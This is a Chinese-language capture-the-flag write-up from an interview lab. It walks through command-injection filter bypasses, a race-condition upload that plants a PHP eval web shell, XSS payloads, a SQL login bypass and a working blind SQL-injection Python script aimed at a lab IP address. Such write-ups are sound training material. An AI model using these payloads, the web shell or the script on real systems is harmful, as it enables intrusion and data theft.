山石網科面試靶場記錄


電話面試之后微信上發了四個靶場過來,做了三個靶場,記錄獲取flag的過程

第一題 (考點:命令執行)

瀏覽網站,在底部發現提示

看來是命令執行,執行一下ipconfig

執行成功,抓包繼續執行ls

嘗試讀取footer.php

shell=cat+footer.php,無回顯

不確定是cat還是空格被過濾,使用 ls -l檢查是否是空格

Shell=ls+-l

看來空格被過濾,使用$IFS$9繞過

查看根目錄下文件

shell=ls$IFS$9/

這個應該是我們需要讀取的

shell=ls$IFS$9/realflag.txt$IFS$9-l

無結果

shell=ls$IFS$9about.php$IFS$9-l

說明flag關鍵字段被過濾

shell=cat$IFS$9about.php

說明cat關鍵字被過濾

先拼接繞過cat過濾

shell=a=c;b=at;c=about.php;$a$b$IFS$9$c

然后拼接繞過flag關鍵字過濾

shell=a=c;b=at;c=/realfl;d=ag.txt;$a$b$IFS$9$c$d

獲得flag

flag{uyiwercjbajshiuqwjhcznbasdjh}

第二題 (考點:文件上傳之條件競爭)

訪問,文件上傳類題目

上傳一句話木馬

訪問則不存在

同時可知中間件為Apache

如果確實上傳成功並保存了,但訪問不了的話,猜測應該是后綴名不符合而導致被刪除

上傳保存+刪除很容易想到了條件競爭漏洞

但是我們可以先嘗試上傳一下圖片

正常的圖片也會被刪除,再測試一下jpg后綴

同樣被刪除,應該是直接刪除的upload文件夾下的新生成的文件,所以解析漏洞應該作用不大,嘗試進行條件競爭

測試了一下能不能跨目錄,好像不能,php文件內容為:

<?php fputs(fopen('springbird.php','w'),'<?php @eval($_POST["cmd"])?>');?>

因為測試了一下,寫了兩個文件,springbird.php和shell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

然后burpsuite開20線程,不斷上傳和不斷訪問test.php即可

然后成功寫入shell

使用菜刀連接服務器連接被重置

猜測是菜刀的特征被阿里雲攔截了,換成蟻劍

找到flag

flag{please_do_some_liKe_hacker_ok}

第三題 (考點:SQL注入)

嘗試登錄

admin admin

不過好像沒有什么用,猜測是XSS或者SSTI

SSTI簡單測試一下

無果

掃了一下敏感目錄 無果

嘗試XSS漏洞,發現反斜杠被過濾

Payload: <script>alert(1)</script>

構造payload: <img src="javascript:alert(1);">

發現空格,雙引號被過濾

重構payload

用tab鍵代替空格 %09

<img src=x onerror=alert(1);>

POST數據為:

username=%3Cimg%09src%3Dx%09onerror%3Dalert%281%29%3B%3E&password=1&submit=

但是還是沒有flag

去干了飯回來接着查看這道題

嘗試使用萬能密碼登錄,發現登錄成功

賬號:admin’# 密碼:1

同時發現登錄成功返回狀態碼為302,登錄失敗返回狀態碼為200,利用該條件可以進行SQL盲注

先試試能不能sqlmap一把梭

跑了一下無果

因為之前的XSS都進行了過濾,所以還是先進行手動注入

username=admin'%09and%091=2#&password=1&submit=

username=admin'%09and%091=1#&password=1&submit=

狀態碼不一致,說明有效,使用

先簡單手動測試之后使用python編寫盲注腳本

username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata),1,1)))>1))#&password=1&submit=

發現逗號也被過濾了

使用from 1 for 1 進行替換

Payload為:

username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%091%09for%091)))>1))#&password=1&submit=

成功打出302狀態碼

為了防止payload有問題,將判斷ASCII數字修改為200試試

username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%091%09for%091)))>200))#&password=1&submit=

狀態碼恢復為200,說明payload無問題

username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%091%09for%091)))=105))#&password=1&submit=

第一位ASCII為105,為i

編寫盲注腳本

獲取數據庫名

sec數據庫進一步獲取表

ctf_flags進一步獲取列

ggflag

哦看來是個假的

ctf_users

讀了之后卻顯示為空

盲注腳本為:

#coding=utf-8
import requests

def login(_username,_password):
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    url = "http://222.92.194.24:20002/login.php"
    data = {
        "username":_username,
        "password":_password,
        "submit":None
    }
    payload = "username="+_username+"&password="+_password+"&submit="
    #print(payload)
    response = requests.post(url,data=payload,headers=headers,allow_redirects=False)
    #print(response.text)
    status_code = response.status_code
    #print(type(status_code))
    #print(str(status_code))
    if status_code==302:
        return True
    else:
        return False

def main():
    find_name = ""
    for i in range(0x50):
        for j in range(0x80 , 0x20 , -1):
            #_username="admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%09{}%09for%091)))={}))#".format(i,j)
            #_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09group_concat(Table_name)%09From%09inFormation_SChema.tAbles%09where%09taBle_schema=database())%09from%09{}%09for%091)))={}))#".format(i,j)
            #_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09group_concat(columN_name)%09From%09inFormation_SChema.columns%09where%09taBle_naMe='ctf_flags')%09from%09{}%09for%091)))={}))#".format(i,j)
            #_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09ggflag%09From%09ctf_flags)%09from%09{}%09for%091)))={}))#".format(i,j)
            #_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09group_concat(columN_name)%09From%09inFormation_SChema.columns%09where%09taBle_naMe='ctf_users')%09from%09{}%09for%091)))={}))#".format(i,j)
            _username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09gpass%09From%09ctf_users)%09from%09{}%09for%091)))={}))#".format(i,j)
            
            
            _password="1"
            #print(_username)
            if login(_username,_password):
                find_name+=chr(j)
                print(find_name)
                break
                
if __name__=='__main__':
	main()

整理一下思路:ctf_flags表里面我們已經讀取了數據,但是是虛假的flag,除非需要拿shell在服務器的根目錄下尋找flag,不然flag一定在ctf_users表中,但之前的payload沒有讀出數據,猜測可能是payload里面有的關鍵字被過濾了但是沒有被發現,所以再修改payload

_username ="admin'and(ascii(substr((select(group_concat(gpass))from(ctf_users))from({})for(1)))={})#".format(i,j)

最終出flag的base64編碼值

解碼后flag為:

flag{g00d_boy_a36_5i61}

第四題

做了一會沒做出來,然后就去玩巫師三了,菜狗的生活就是這么快樂


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM